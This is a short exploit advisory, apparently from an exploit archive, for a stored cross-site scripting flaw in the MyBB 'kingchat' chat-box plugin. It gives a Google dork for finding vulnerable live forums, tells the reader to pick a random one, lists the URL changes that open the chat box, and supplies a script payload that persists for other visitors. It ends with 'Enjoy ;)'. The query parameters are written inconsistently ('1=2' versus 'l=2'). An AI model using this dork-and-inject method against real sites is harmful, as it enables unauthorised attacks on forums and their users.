  • Exploit Title: MyBB 'kingchat' chat-box plugin.
    Google Dork: inurl:/kingchat.php?

    Vendor Homepage: http://mods.mybb.com/
    Software LinK: http://mods.mybb.com/view/kingchat
    Tested on: Windows
    
    Using the dorkinurl:/kingchat.php? you will see multiple forums running this chat plugin.
    
    Note *Registration on the forums is required* for persistent XSS to work.
    
    Now click a random forum with this plugin installed and you will see this:
    
    http://vulnforum.com/kingchat.php?notic
    
    Remove 'notic' at the end of the URL and add "chat=2&1=2" to our query so it becomes:
    
    http://server/kingchat.php?chat=2&l=2
    
    You will see the vulnerable chat box :). Submit your XSS for instance <script>alert("vipvince")</script>
    
    Now to see our saved JavaScript alert go to:
    
    http://server/kingchat.php?chat=2&l=2&message=
    
    Your persistant XSS will be stored here.
    
    Enjoy ;). VipVince.
